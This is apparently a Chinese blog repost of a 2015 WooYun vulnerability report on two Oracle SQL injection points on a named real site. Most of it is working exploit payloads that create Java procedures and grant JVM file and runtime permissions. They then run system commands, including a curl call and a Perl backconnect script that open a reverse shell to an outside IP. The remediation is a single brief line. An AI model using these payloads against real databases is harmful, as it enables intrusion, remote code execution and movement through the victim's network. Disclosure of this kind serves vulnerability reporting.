记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

皮皮网某站2处Oracle注入(可执行Shell命令)

2015-04-16 21:05

注入点:

code 区域
http://user.pipi.cn/myMovsFirst.jsp?uid=15176

http://user.pipi.cn/myCommentsFirst.jsp?uid=9854177



oracle装了jvm,可以创建java包来执行系统命令。参考:http://drops.wooyun.org/tips/57

创建java包,post数据:

code 区域
uid=9854177 and (select dbms_xmlquery.newcontext(CHR(68)||CHR(69)||CHR(67)||CHR(76)||CHR(65)||CHR(82)||CHR(69)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(66)||CHR(69)||CHR(71)||CHR(73)||CHR(78)||CHR(32)||CHR(69)||CHR(88)||CHR(69)||CHR(67)||CHR(85)||CHR(84)||CHR(69)||CHR(32)||CHR(73)||CHR(77)||CHR(77)||CHR(69)||CHR(68)||CHR(73)||CHR(65)||CHR(84)||CHR(69)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(112)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(32)||CHR(101)||CHR(120)||CHR(116)||CHR(101)||CHR(110)||CHR(100)||CHR(115)||CHR(32)||CHR(79)||CHR(98)||CHR(106)||CHR(101)||CHR(99)||CHR(116)||CHR(32)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(114)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(97)||CHR(114)||CHR(103)||CHR(115)||CHR(41)||CHR(32)||CHR(123)||CHR(116)||CHR(114)||CHR(121)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(61)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(32)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(97)||CHR(114)||CHR(103)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(61)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(33)||CHR(61)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(43)||CHR(61)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(32)||CHR(99)||CHR(97)||CHR(116)||CHR(99)||CHR(104)||CHR(40)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(101)||CHR(41)||CHR(32)||CHR(123)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(101)||CHR(46)||CHR(116)||CHR(111)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(40)||CHR(41)||CHR(59)||CHR(125)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(69)||CHR(78)||CHR(68)||CHR(59)) from dual) is not null



创建function,post数据:

code 区域
uid=9854177 and (select dbms_xmlquery.newcontext(CHR(68)||CHR(69)||CHR(67)||CHR(76)||CHR(65)||CHR(82)||CHR(69)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(66)||CHR(69)||CHR(71)||CHR(73)||CHR(78)||CHR(32)||CHR(69)||CHR(88)||CHR(69)||CHR(67)||CHR(85)||CHR(84)||CHR(69)||CHR(32)||CHR(73)||CHR(77)||CHR(77)||CHR(69)||CHR(68)||CHR(73)||CHR(65)||CHR(84)||CHR(69)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(82)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(112)||CHR(95)||CHR(99)||CHR(109)||CHR(100)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(32)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(46)||CHR(114)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(32)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(69)||CHR(78)||CHR(68)||CHR(59)) from dual) is not null



利用DBMS_JVM_EXP_PERMS给当前账户赋予JAVA相关权限:

code 区域
uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',  ''''''''<<ALL FILES>>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null



调用function:

code 区域
uid=9854177 and myjava()=1

继续:

code 区域
uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.lang.RuntimePermission'''''''',  ''''''''writeFileDescriptor'''''''',''''''''*'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null

调用function:

code 区域
uid=9854177 and myjava()=1

第三个:

code 区域
uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.lang.RuntimePermission'''''''',  ''''''''readFileDescriptor'''''''',''''''''*'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null

调用function:

code 区域
uid=9854177 and myjava()=1



权限有了就能调用java执行命令了。

code 区域
uid=9854177  and DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/curl', '123.123.123.123:53') is not null

或者使用自建的java包:

code 区域
uid=9854177  and LinxRunCmd('/usr/bin/perl /tmp/backconnect.pl 123.123.123.123 53')=1

漏洞证明:

1.png



反弹shell:

2.png



都可以内网漫游了。

修复方案:

修复注入;

对oracle数据库服务器安全加固;

知识来源: www.wooyun.org/bugs/wooyun-2015-098958

阅读:246149 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“皮皮网某站2处Oracle注入(可执行Shell命令)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云